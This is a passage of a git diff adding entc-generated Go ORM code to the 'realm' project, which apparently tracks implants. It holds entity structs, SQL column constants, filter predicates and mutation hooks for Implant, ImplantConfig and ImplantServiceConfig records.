[]string `json:"executablepathNotIn,omitempty"` + ExecutablePathGT *string `json:"executablepathGT,omitempty"` + ExecutablePathGTE *string `json:"executablepathGTE,omitempty"` + ExecutablePathLT *string `json:"executablepathLT,omitempty"` + ExecutablePathLTE *string `json:"executablepathLTE,omitempty"` + ExecutablePathContains *string `json:"executablepathContains,omitempty"` + ExecutablePathHasPrefix *string `json:"executablepathHasPrefix,omitempty"` + ExecutablePathHasSuffix *string `json:"executablepathHasSuffix,omitempty"` + ExecutablePathEqualFold *string `json:"executablepathEqualFold,omitempty"` + ExecutablePathContainsFold *string `json:"executablepathContainsFold,omitempty"` + + // "implantConfigs" edge predicates. + HasImplantConfigs *bool `json:"hasImplantConfigs,omitempty"` + HasImplantConfigsWith []*ImplantConfigWhereInput `json:"hasImplantConfigsWith,omitempty"` +} + +// Filter applies the ImplantServiceConfigWhereInput filter on the ImplantServiceConfigQuery builder. +func (i *ImplantServiceConfigWhereInput) Filter(q *ImplantServiceConfigQuery) (*ImplantServiceConfigQuery, error) { + if i == nil { + return q, nil + } + p, err := i.P() + if err != nil { + return nil, err + } + return q.Where(p), nil +} + +// P returns a predicate for filtering implantserviceconfigs. +// An error is returned if the input is empty or invalid. +func (i *ImplantServiceConfigWhereInput) P() (predicate.ImplantServiceConfig, error) { + var predicates []predicate.ImplantServiceConfig + if i.Not != nil { + p, err := i.Not.P() + if err != nil { + return nil, err + } + predicates = append(predicates, implantserviceconfig.Not(p)) + } + switch n := len(i.Or); { + case n == 1: + p, err := i.Or[0].P() + if err != nil { + return nil, err + } + predicates = append(predicates, p) + case n > 1: + or := make([]predicate.ImplantServiceConfig, 0, n) + for _, w := range i.Or { + p, err := w.P() + if err != nil { + return nil, err + } + or = append(or, p) + } + predicates = append(predicates, implantserviceconfig.Or(or...)) + } + switch n := len(i.And); { + case n == 1: + p, err := i.And[0].P() + if err != nil { + return nil, err + } + predicates = append(predicates, p) + case n > 1: + and := make([]predicate.ImplantServiceConfig, 0, n) + for _, w := range i.And { + p, err := w.P() + if err != nil { + return nil, err + } + and = append(and, p) + } + predicates = append(predicates, implantserviceconfig.And(and...)) + } + if i.ID != nil { + predicates = append(predicates, implantserviceconfig.IDEQ(*i.ID)) + } + if i.IDNEQ != nil { + predicates = append(predicates, implantserviceconfig.IDNEQ(*i.IDNEQ)) + } + if len(i.IDIn) > 0 { + predicates = append(predicates, implantserviceconfig.IDIn(i.IDIn...)) + } + if len(i.IDNotIn) > 0 { + predicates = append(predicates, implantserviceconfig.IDNotIn(i.IDNotIn...)) + } + if i.IDGT != nil { + predicates = append(predicates, implantserviceconfig.IDGT(*i.IDGT)) + } + if i.IDGTE != nil { + predicates = append(predicates, implantserviceconfig.IDGTE(*i.IDGTE)) + } + if i.IDLT != nil { + predicates = append(predicates, implantserviceconfig.IDLT(*i.IDLT)) + } + if i.IDLTE != nil { + predicates = append(predicates, implantserviceconfig.IDLTE(*i.IDLTE)) + } + if i.Name != nil { + predicates = append(predicates, implantserviceconfig.NameEQ(*i.Name)) + } + if i.NameNEQ != nil { + predicates = append(predicates, implantserviceconfig.NameNEQ(*i.NameNEQ)) + } + if len(i.NameIn) > 0 { + predicates = append(predicates, implantserviceconfig.NameIn(i.NameIn...)) + } + if len(i.NameNotIn) > 0 { + predicates = append(predicates, implantserviceconfig.NameNotIn(i.NameNotIn...)) + } + if i.NameGT != nil { + predicates = append(predicates, implantserviceconfig.NameGT(*i.NameGT)) + } + if i.NameGTE != nil { + predicates = append(predicates, implantserviceconfig.NameGTE(*i.NameGTE)) + } + if i.NameLT != nil { + predicates = append(predicates, implantserviceconfig.NameLT(*i.NameLT)) + } + if i.NameLTE != nil { + predicates = append(predicates, implantserviceconfig.NameLTE(*i.NameLTE)) + } + if i.NameContains != nil { + predicates = append(predicates, implantserviceconfig.NameContains(*i.NameContains)) + } + if i.NameHasPrefix != nil { + predicates = append(predicates, implantserviceconfig.NameHasPrefix(*i.NameHasPrefix)) + } + if i.NameHasSuffix != nil { + predicates = append(predicates, implantserviceconfig.NameHasSuffix(*i.NameHasSuffix)) + } + if i.NameEqualFold != nil { + predicates = append(predicates, implantserviceconfig.NameEqualFold(*i.NameEqualFold)) + } + if i.NameContainsFold != nil { + predicates = append(predicates, implantserviceconfig.NameContainsFold(*i.NameContainsFold)) + } + if i.Description != nil { + predicates = append(predicates, implantserviceconfig.DescriptionEQ(*i.Description)) + } + if i.DescriptionNEQ != nil { + predicates = append(predicates, implantserviceconfig.DescriptionNEQ(*i.DescriptionNEQ)) + } + if len(i.DescriptionIn) > 0 { + predicates = append(predicates, implantserviceconfig.DescriptionIn(i.DescriptionIn...)) + } + if len(i.DescriptionNotIn) > 0 { + predicates = append(predicates, implantserviceconfig.DescriptionNotIn(i.DescriptionNotIn...)) + } + if i.DescriptionGT != nil { + predicates = append(predicates, implantserviceconfig.DescriptionGT(*i.DescriptionGT)) + } + if i.DescriptionGTE != nil { + predicates = append(predicates, implantserviceconfig.DescriptionGTE(*i.DescriptionGTE)) + } + if i.DescriptionLT != nil { + predicates = append(predicates, implantserviceconfig.DescriptionLT(*i.DescriptionLT)) + } + if i.DescriptionLTE != nil { + predicates = append(predicates, implantserviceconfig.DescriptionLTE(*i.DescriptionLTE)) + } + if i.DescriptionContains != nil { + predicates = append(predicates, implantserviceconfig.DescriptionContains(*i.DescriptionContains)) + } + if i.DescriptionHasPrefix != nil { + predicates = append(predicates, implantserviceconfig.DescriptionHasPrefix(*i.DescriptionHasPrefix)) + } + if i.DescriptionHasSuffix != nil { + predicates = append(predicates, implantserviceconfig.DescriptionHasSuffix(*i.DescriptionHasSuffix)) + } + if i.DescriptionEqualFold != nil { + predicates = append(predicates, implantserviceconfig.DescriptionEqualFold(*i.DescriptionEqualFold)) + } + if i.DescriptionContainsFold != nil { + predicates = append(predicates, implantserviceconfig.DescriptionContainsFold(*i.DescriptionContainsFold)) + } + if i.ExecutablePath != nil { + predicates = append(predicates, implantserviceconfig.ExecutablePathEQ(*i.ExecutablePath)) + } + if i.ExecutablePathNEQ != nil { + predicates = append(predicates, implantserviceconfig.ExecutablePathNEQ(*i.ExecutablePathNEQ)) + } + if len(i.ExecutablePathIn) > 0 { + predicates = append(predicates, implantserviceconfig.ExecutablePathIn(i.ExecutablePathIn...)) + } + if len(i.ExecutablePathNotIn) > 0 { + predicates = append(predicates, implantserviceconfig.ExecutablePathNotIn(i.ExecutablePathNotIn...)) + } + if i.ExecutablePathGT != nil { + predicates = append(predicates, implantserviceconfig.ExecutablePathGT(*i.ExecutablePathGT)) + } + if i.ExecutablePathGTE != nil { + predicates = append(predicates, implantserviceconfig.ExecutablePathGTE(*i.ExecutablePathGTE)) + } + if i.ExecutablePathLT != nil { + predicates = append(predicates, implantserviceconfig.ExecutablePathLT(*i.ExecutablePathLT)) + } + if i.ExecutablePathLTE != nil { + predicates = append(predicates, implantserviceconfig.ExecutablePathLTE(*i.ExecutablePathLTE)) + } + if i.ExecutablePathContains != nil { + predicates = append(predicates, implantserviceconfig.ExecutablePathContains(*i.ExecutablePathContains)) + } + if i.ExecutablePathHasPrefix != nil { + predicates = append(predicates, implantserviceconfig.ExecutablePathHasPrefix(*i.ExecutablePathHasPrefix)) + } + if i.ExecutablePathHasSuffix != nil { + predicates = append(predicates, implantserviceconfig.ExecutablePathHasSuffix(*i.ExecutablePathHasSuffix)) + } + if i.ExecutablePathEqualFold != nil { + predicates = append(predicates, implantserviceconfig.ExecutablePathEqualFold(*i.ExecutablePathEqualFold)) + } + if i.ExecutablePathContainsFold != nil { + predicates = append(predicates, implantserviceconfig.ExecutablePathContainsFold(*i.ExecutablePathContainsFold)) + } + + if i.HasImplantConfigs != nil { + p := implantserviceconfig.HasImplantConfigs() + if !*i.HasImplantConfigs { + p = implantserviceconfig.Not(p) + } + predicates = append(predicates, p) + } + if len(i.HasImplantConfigsWith) > 0 { + with := make([]predicate.ImplantConfig, 0, len(i.HasImplantConfigsWith)) + for _, w := range i.HasImplantConfigsWith { + p, err := w.P() + if err != nil { + return nil, err + } + with = append(with, p) + } + predicates = append(predicates, implantserviceconfig.HasImplantConfigsWith(with...)) + } + switch len(predicates) { + case 0: + return nil, fmt.Errorf("github.com/kcarretto/realm/ent: empty predicate ImplantServiceConfigWhereInput") + case 1: + return predicates[0], nil + default: + return implantserviceconfig.And(predicates...), nil + } +} + // TargetWhereInput represents a where input for filtering Target queries. type TargetWhereInput struct { Not *TargetWhereInput `json:"not,omitempty"` @@ -641,6 +1819,10 @@ type TargetWhereInput struct { // "credentials" edge predicates. HasCredentials *bool `json:"hasCredentials,omitempty"` HasCredentialsWith []*CredentialWhereInput `json:"hasCredentialsWith,omitempty"` + + // "implants" edge predicates. + HasImplants *bool `json:"hasImplants,omitempty"` + HasImplantsWith []*ImplantWhereInput `json:"hasImplantsWith,omitempty"` } // Filter applies the TargetWhereInput filter on the TargetQuery builder. @@ -823,6 +2005,24 @@ func (i *TargetWhereInput) P() (predicate.Target, error) { } predicates = append(predicates, target.HasCredentialsWith(with...)) } + if i.HasImplants != nil { + p := target.HasImplants() + if !*i.HasImplants { + p = target.Not(p) + } + predicates = append(predicates, p) + } + if len(i.HasImplantsWith) > 0 { + with := make([]predicate.Implant, 0, len(i.HasImplantsWith)) + for _, w := range i.HasImplantsWith { + p, err := w.P() + if err != nil { + return nil, err + } + with = append(with, p) + } + predicates = append(predicates, target.HasImplantsWith(with...)) + } switch len(predicates) { case 0: return nil, fmt.Errorf("github.com/kcarretto/realm/ent: empty predicate TargetWhereInput") diff --git a/ent/hook/hook.go b/ent/hook/hook.go index cb5c835a0..d9d588504 100644 --- a/ent/hook/hook.go +++ b/ent/hook/hook.go @@ -35,6 +35,58 @@ func (f FileFunc) Mutate(ctx context.Context, m ent.Mutation) (ent.Value, error) return f(ctx, mv) } +// The ImplantFunc type is an adapter to allow the use of ordinary +// function as Implant mutator. +type ImplantFunc func(context.Context, *ent.ImplantMutation) (ent.Value, error) + +// Mutate calls f(ctx, m). +func (f ImplantFunc) Mutate(ctx context.Context, m ent.Mutation) (ent.Value, error) { + mv, ok := m.(*ent.ImplantMutation) + if !ok { + return nil, fmt.Errorf("unexpected mutation type %T. expect *ent.ImplantMutation", m) + } + return f(ctx, mv) +} + +// The ImplantCallbackConfigFunc type is an adapter to allow the use of ordinary +// function as ImplantCallbackConfig mutator. +type ImplantCallbackConfigFunc func(context.Context, *ent.ImplantCallbackConfigMutation) (ent.Value, error) + +// Mutate calls f(ctx, m). +func (f ImplantCallbackConfigFunc) Mutate(ctx context.Context, m ent.Mutation) (ent.Value, error) { + mv, ok := m.(*ent.ImplantCallbackConfigMutation) + if !ok { + return nil, fmt.Errorf("unexpected mutation type %T. expect *ent.ImplantCallbackConfigMutation", m) + } + return f(ctx, mv) +} + +// The ImplantConfigFunc type is an adapter to allow the use of ordinary +// function as ImplantConfig mutator. +type ImplantConfigFunc func(context.Context, *ent.ImplantConfigMutation) (ent.Value, error) + +// Mutate calls f(ctx, m). +func (f ImplantConfigFunc) Mutate(ctx context.Context, m ent.Mutation) (ent.Value, error) { + mv, ok := m.(*ent.ImplantConfigMutation) + if !ok { + return nil, fmt.Errorf("unexpected mutation type %T. expect *ent.ImplantConfigMutation", m) + } + return f(ctx, mv) +} + +// The ImplantServiceConfigFunc type is an adapter to allow the use of ordinary +// function as ImplantServiceConfig mutator. +type ImplantServiceConfigFunc func(context.Context, *ent.ImplantServiceConfigMutation) (ent.Value, error) + +// Mutate calls f(ctx, m). +func (f ImplantServiceConfigFunc) Mutate(ctx context.Context, m ent.Mutation) (ent.Value, error) { + mv, ok := m.(*ent.ImplantServiceConfigMutation) + if !ok { + return nil, fmt.Errorf("unexpected mutation type %T. expect *ent.ImplantServiceConfigMutation", m) + } + return f(ctx, mv) +} + // The TargetFunc type is an adapter to allow the use of ordinary // function as Target mutator. type TargetFunc func(context.Context, *ent.TargetMutation) (ent.Value, error) diff --git a/ent/implant.go b/ent/implant.go new file mode 100644 index 000000000..bf0f8da6e --- /dev/null +++ b/ent/implant.go @@ -0,0 +1,185 @@ +// Code generated by entc, DO NOT EDIT. + +package ent + +import ( + "fmt" + "strings" + + "entgo.io/ent/dialect/sql" + "github.com/kcarretto/realm/ent/implant" + "github.com/kcarretto/realm/ent/implantconfig" + "github.com/kcarretto/realm/ent/target" +) + +// Implant is the model entity for the Implant schema. +type Implant struct { + config `json:"-"` + // ID of the ent. + ID int `json:"id,omitempty"` + // SessionID holds the value of the "sessionID" field. + // Unique identifier for this instance of the implant (if it's running). + SessionID string `json:"sessionID,omitempty"` + // ProcessName holds the value of the "processName" field. + // Name of the process this implant is running as. + ProcessName string `json:"processName,omitempty"` + // Edges holds the relations/edges for other nodes in the graph. + // The values are being populated by the ImplantQuery when eager-loading is set. + Edges ImplantEdges `json:"edges"` + implant_target *int + implant_config *int +} + +// ImplantEdges holds the relations/edges for other nodes in the graph. +type ImplantEdges struct { + // Target holds the value of the target edge. + Target *Target `json:"target,omitempty"` + // Config holds the value of the config edge. + Config *ImplantConfig `json:"config,omitempty"` + // loadedTypes holds the information for reporting if a + // type was loaded (or requested) in eager-loading or not. + loadedTypes [2]bool +} + +// TargetOrErr returns the Target value or an error if the edge +// was not loaded in eager-loading, or loaded but was not found. +func (e ImplantEdges) TargetOrErr() (*Target, error) { + if e.loadedTypes[0] { + if e.Target == nil { + // The edge target was loaded in eager-loading, + // but was not found. + return nil, &NotFoundError{label: target.Label} + } + return e.Target, nil + } + return nil, &NotLoadedError{edge: "target"} +} + +// ConfigOrErr returns the Config value or an error if the edge +// was not loaded in eager-loading, or loaded but was not found. +func (e ImplantEdges) ConfigOrErr() (*ImplantConfig, error) { + if e.loadedTypes[1] { + if e.Config == nil { + // The edge config was loaded in eager-loading, + // but was not found. + return nil, &NotFoundError{label: implantconfig.Label} + } + return e.Config, nil + } + return nil, &NotLoadedError{edge: "config"} +} + +// scanValues returns the types for scanning values from sql.Rows. +func (*Implant) scanValues(columns []string) ([]interface{}, error) { + values := make([]interface{}, len(columns)) + for i := range columns { + switch columns[i] { + case implant.FieldID: + values[i] = new(sql.NullInt64) + case implant.FieldSessionID, implant.FieldProcessName: + values[i] = new(sql.NullString) + case implant.ForeignKeys[0]: // implant_target + values[i] = new(sql.NullInt64) + case implant.ForeignKeys[1]: // implant_config + values[i] = new(sql.NullInt64) + default: + return nil, fmt.Errorf("unexpected column %q for type Implant", columns[i]) + } + } + return values, nil +} + +// assignValues assigns the values that were returned from sql.Rows (after scanning) +// to the Implant fields. +func (i *Implant) assignValues(columns []string, values []interface{}) error { + if m, n := len(values), len(columns); m < n { + return fmt.Errorf("mismatch number of scan values: %d != %d", m, n) + } + for j := range columns { + switch columns[j] { + case implant.FieldID: + value, ok := values[j].(*sql.NullInt64) + if !ok { + return fmt.Errorf("unexpected type %T for field id", value) + } + i.ID = int(value.Int64) + case implant.FieldSessionID: + if value, ok := values[j].(*sql.NullString); !ok { + return fmt.Errorf("unexpected type %T for field sessionID", values[j]) + } else if value.Valid { + i.SessionID = value.String + } + case implant.FieldProcessName: + if value, ok := values[j].(*sql.NullString); !ok { + return fmt.Errorf("unexpected type %T for field processName", values[j]) + } else if value.Valid { + i.ProcessName = value.String + } + case implant.ForeignKeys[0]: + if value, ok := values[j].(*sql.NullInt64); !ok { + return fmt.Errorf("unexpected type %T for edge-field implant_target", value) + } else if value.Valid { + i.implant_target = new(int) + *i.implant_target = int(value.Int64) + } + case implant.ForeignKeys[1]: + if value, ok := values[j].(*sql.NullInt64); !ok { + return fmt.Errorf("unexpected type %T for edge-field implant_config", value) + } else if value.Valid { + i.implant_config = new(int) + *i.implant_config = int(value.Int64) + } + } + } + return nil +} + +// QueryTarget queries the "target" edge of the Implant entity. +func (i *Implant) QueryTarget() *TargetQuery { + return (&ImplantClient{config: i.config}).QueryTarget(i) +} + +// QueryConfig queries the "config" edge of the Implant entity. +func (i *Implant) QueryConfig() *ImplantConfigQuery { + return (&ImplantClient{config: i.config}).QueryConfig(i) +} + +// Update returns a builder for updating this Implant. +// Note that you need to call Implant.Unwrap() before calling this method if this Implant +// was returned from a transaction, and the transaction was committed or rolled back. +func (i *Implant) Update() *ImplantUpdateOne { + return (&ImplantClient{config: i.config}).UpdateOne(i) +} + +// Unwrap unwraps the Implant entity that was returned from a transaction after it was closed, +// so that all future queries will be executed through the driver which created the transaction. +func (i *Implant) Unwrap() *Implant { + tx, ok := i.config.driver.(*txDriver) + if !ok { + panic("ent: Implant is not a transactional entity") + } + i.config.driver = tx.drv + return i +} + +// String implements the fmt.Stringer. +func (i *Implant) String() string { + var builder strings.Builder + builder.WriteString("Implant(") + builder.WriteString(fmt.Sprintf("id=%v", i.ID)) + builder.WriteString(", sessionID=") + builder.WriteString(i.SessionID) + builder.WriteString(", processName=") + builder.WriteString(i.ProcessName) + builder.WriteByte(')') + return builder.String() +} + +// Implants is a parsable slice of Implant. +type Implants []*Implant + +func (i Implants) config(cfg config) { + for _i := range i { + i[_i].config = cfg + } +} diff --git a/ent/implant/implant.go b/ent/implant/implant.go new file mode 100644 index 000000000..13029bb99 --- /dev/null +++ b/ent/implant/implant.go @@ -0,0 +1,68 @@ +// Code generated by entc, DO NOT EDIT. + +package implant + +const ( + // Label holds the string label denoting the implant type in the database. + Label = "implant" + // FieldID holds the string denoting the id field in the database. + FieldID = "id" + // FieldSessionID holds the string denoting the sessionid field in the database. + FieldSessionID = "session_id" + // FieldProcessName holds the string denoting the processname field in the database. + FieldProcessName = "process_name" + // EdgeTarget holds the string denoting the target edge name in mutations. + EdgeTarget = "target" + // EdgeConfig holds the string denoting the config edge name in mutations. + EdgeConfig = "config" + // Table holds the table name of the implant in the database. + Table = "implants" + // TargetTable is the table that holds the target relation/edge. + TargetTable = "implants" + // TargetInverseTable is the table name for the Target entity. + // It exists in this package in order to avoid circular dependency with the "target" package. + TargetInverseTable = "targets" + // TargetColumn is the table column denoting the target relation/edge. + TargetColumn = "implant_target" + // ConfigTable is the table that holds the config relation/edge. + ConfigTable = "implants" + // ConfigInverseTable is the table name for the ImplantConfig entity. + // It exists in this package in order to avoid circular dependency with the "implantconfig" package. + ConfigInverseTable = "implant_configs" + // ConfigColumn is the table column denoting the config relation/edge. + ConfigColumn = "implant_config" +) + +// Columns holds all SQL columns for implant fields. +var Columns = []string{ + FieldID, + FieldSessionID, + FieldProcessName, +} + +// ForeignKeys holds the SQL foreign-keys that are owned by the "implants" +// table and are not defined as standalone fields in the schema. +var ForeignKeys = []string{ + "implant_target", + "implant_config", +} + +// ValidColumn reports if the column name is valid (part of the table columns). +func ValidColumn(column string) bool { + for i := range Columns { + if column == Columns[i] { + return true + } + } + for i := range ForeignKeys { + if column == ForeignKeys[i] { + return true + } + } + return false +} + +var ( + // SessionIDValidator is a validator for the "sessionID" field. It is called by the builders before save. + SessionIDValidator func(string) error +) diff --git a/ent/implant/where.go b/ent/implant/where.go new file mode 100644 index 000000000..35f9c116a --- /dev/null +++ b/ent/implant/where.go @@ -0,0 +1,430 @@ +// Code generated by entc, DO NOT EDIT. + +package implant + +import ( + "entgo.io/ent/dialect/sql" + "entgo.io/ent/dialect/sql/sqlgraph" + "github.com/kcarretto/realm/ent/predicate" +) + +// ID filters vertices based on their ID field. +func ID(id int) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldID), id)) + }) +} + +// IDEQ applies the EQ predicate on the ID field. +func IDEQ(id int) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldID), id)) + }) +} + +// IDNEQ applies the NEQ predicate on the ID field. +func IDNEQ(id int) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.NEQ(s.C(FieldID), id)) + }) +} + +// IDIn applies the In predicate on the ID field. +func IDIn(ids ...int) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(ids) == 0 { + s.Where(sql.False()) + return + } + v := make([]interface{}, len(ids)) + for i := range v { + v[i] = ids[i] + } + s.Where(sql.In(s.C(FieldID), v...)) + }) +} + +// IDNotIn applies the NotIn predicate on the ID field. +func IDNotIn(ids ...int) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(ids) == 0 { + s.Where(sql.False()) + return + } + v := make([]interface{}, len(ids)) + for i := range v { + v[i] = ids[i] + } + s.Where(sql.NotIn(s.C(FieldID), v...)) + }) +} + +// IDGT applies the GT predicate on the ID field. +func IDGT(id int) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.GT(s.C(FieldID), id)) + }) +} + +// IDGTE applies the GTE predicate on the ID field. +func IDGTE(id int) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.GTE(s.C(FieldID), id)) + }) +} + +// IDLT applies the LT predicate on the ID field. +func IDLT(id int) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.LT(s.C(FieldID), id)) + }) +} + +// IDLTE applies the LTE predicate on the ID field. +func IDLTE(id int) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.LTE(s.C(FieldID), id)) + }) +} + +// SessionID applies equality check predicate on the "sessionID" field. It's identical to SessionIDEQ. +func SessionID(v string) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldSessionID), v)) + }) +} + +// ProcessName applies equality check predicate on the "processName" field. It's identical to ProcessNameEQ. +func ProcessName(v string) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldProcessName), v)) + }) +} + +// SessionIDEQ applies the EQ predicate on the "sessionID" field. +func SessionIDEQ(v string) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldSessionID), v)) + }) +} + +// SessionIDNEQ applies the NEQ predicate on the "sessionID" field. +func SessionIDNEQ(v string) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.NEQ(s.C(FieldSessionID), v)) + }) +} + +// SessionIDIn applies the In predicate on the "sessionID" field. +func SessionIDIn(vs ...string) predicate.Implant { + v := make([]interface{}, len(vs)) + for i := range v { + v[i] = vs[i] + } + return predicate.Implant(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(v) == 0 { + s.Where(sql.False()) + return + } + s.Where(sql.In(s.C(FieldSessionID), v...)) + }) +} + +// SessionIDNotIn applies the NotIn predicate on the "sessionID" field. +func SessionIDNotIn(vs ...string) predicate.Implant { + v := make([]interface{}, len(vs)) + for i := range v { + v[i] = vs[i] + } + return predicate.Implant(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(v) == 0 { + s.Where(sql.False()) + return + } + s.Where(sql.NotIn(s.C(FieldSessionID), v...)) + }) +} + +// SessionIDGT applies the GT predicate on the "sessionID" field. +func SessionIDGT(v string) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.GT(s.C(FieldSessionID), v)) + }) +} + +// SessionIDGTE applies the GTE predicate on the "sessionID" field. +func SessionIDGTE(v string) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.GTE(s.C(FieldSessionID), v)) + }) +} + +// SessionIDLT applies the LT predicate on the "sessionID" field. +func SessionIDLT(v string) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.LT(s.C(FieldSessionID), v)) + }) +} + +// SessionIDLTE applies the LTE predicate on the "sessionID" field. +func SessionIDLTE(v string) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.LTE(s.C(FieldSessionID), v)) + }) +} + +// SessionIDContains applies the Contains predicate on the "sessionID" field. +func SessionIDContains(v string) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.Contains(s.C(FieldSessionID), v)) + }) +} + +// SessionIDHasPrefix applies the HasPrefix predicate on the "sessionID" field. +func SessionIDHasPrefix(v string) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.HasPrefix(s.C(FieldSessionID), v)) + }) +} + +// SessionIDHasSuffix applies the HasSuffix predicate on the "sessionID" field. +func SessionIDHasSuffix(v string) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.HasSuffix(s.C(FieldSessionID), v)) + }) +} + +// SessionIDEqualFold applies the EqualFold predicate on the "sessionID" field. +func SessionIDEqualFold(v string) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.EqualFold(s.C(FieldSessionID), v)) + }) +} + +// SessionIDContainsFold applies the ContainsFold predicate on the "sessionID" field. +func SessionIDContainsFold(v string) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.ContainsFold(s.C(FieldSessionID), v)) + }) +} + +// ProcessNameEQ applies the EQ predicate on the "processName" field. +func ProcessNameEQ(v string) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.EQ(s.C(FieldProcessName), v)) + }) +} + +// ProcessNameNEQ applies the NEQ predicate on the "processName" field. +func ProcessNameNEQ(v string) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.NEQ(s.C(FieldProcessName), v)) + }) +} + +// ProcessNameIn applies the In predicate on the "processName" field. +func ProcessNameIn(vs ...string) predicate.Implant { + v := make([]interface{}, len(vs)) + for i := range v { + v[i] = vs[i] + } + return predicate.Implant(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(v) == 0 { + s.Where(sql.False()) + return + } + s.Where(sql.In(s.C(FieldProcessName), v...)) + }) +} + +// ProcessNameNotIn applies the NotIn predicate on the "processName" field. +func ProcessNameNotIn(vs ...string) predicate.Implant { + v := make([]interface{}, len(vs)) + for i := range v { + v[i] = vs[i] + } + return predicate.Implant(func(s *sql.Selector) { + // if not arguments were provided, append the FALSE constants, + // since we can't apply "IN ()". This will make this predicate falsy. + if len(v) == 0 { + s.Where(sql.False()) + return + } + s.Where(sql.NotIn(s.C(FieldProcessName), v...)) + }) +} + +// ProcessNameGT applies the GT predicate on the "processName" field. +func ProcessNameGT(v string) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.GT(s.C(FieldProcessName), v)) + }) +} + +// ProcessNameGTE applies the GTE predicate on the "processName" field. +func ProcessNameGTE(v string) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.GTE(s.C(FieldProcessName), v)) + }) +} + +// ProcessNameLT applies the LT predicate on the "processName" field. +func ProcessNameLT(v string) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.LT(s.C(FieldProcessName), v)) + }) +} + +// ProcessNameLTE applies the LTE predicate on the "processName" field. +func ProcessNameLTE(v string) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.LTE(s.C(FieldProcessName), v)) + }) +} + +// ProcessNameContains applies the Contains predicate on the "processName" field. +func ProcessNameContains(v string) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.Contains(s.C(FieldProcessName), v)) + }) +} + +// ProcessNameHasPrefix applies the HasPrefix predicate on the "processName" field. +func ProcessNameHasPrefix(v string) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.HasPrefix(s.C(FieldProcessName), v)) + }) +} + +// ProcessNameHasSuffix applies the HasSuffix predicate on the "processName" field. +func ProcessNameHasSuffix(v string) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.HasSuffix(s.C(FieldProcessName), v)) + }) +} + +// ProcessNameIsNil applies the IsNil predicate on the "processName" field. +func ProcessNameIsNil() predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.IsNull(s.C(FieldProcessName))) + }) +} + +// ProcessNameNotNil applies the NotNil predicate on the "processName" field. +func ProcessNameNotNil() predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.NotNull(s.C(FieldProcessName))) + }) +} + +// ProcessNameEqualFold applies the EqualFold predicate on the "processName" field. +func ProcessNameEqualFold(v string) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.EqualFold(s.C(FieldProcessName), v)) + }) +} + +// ProcessNameContainsFold applies the ContainsFold predicate on the "processName" field. +func ProcessNameContainsFold(v string) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + s.Where(sql.ContainsFold(s.C(FieldProcessName), v)) + }) +} + +// HasTarget applies the HasEdge predicate on the "target" edge. +func HasTarget() predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + step := sqlgraph.NewStep( + sqlgraph.From(Table, FieldID), + sqlgraph.To(TargetTable, FieldID), + sqlgraph.Edge(sqlgraph.M2O, false, TargetTable, TargetColumn), + ) + sqlgraph.HasNeighbors(s, step) + }) +} + +// HasTargetWith applies the HasEdge predicate on the "target" edge with a given conditions (other predicates). +func HasTargetWith(preds ...predicate.Target) predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + step := sqlgraph.NewStep( + sqlgraph.From(Table, FieldID), + sqlgraph.To(TargetInverseTable, FieldID), + sqlgraph.Edge(sqlgraph.M2O, false, TargetTable, TargetColumn), + ) + sqlgraph.HasNeighborsWith(s, step, func(s *sql.Selector) { + for _, p := range preds { + p(s) + } + }) + }) +} + +// HasConfig applies the HasEdge predicate on the "config" edge. +func HasConfig() predicate.Implant { + return predicate.Implant(func(s *sql.Selector) { + step := sqlgraph.NewStep( + 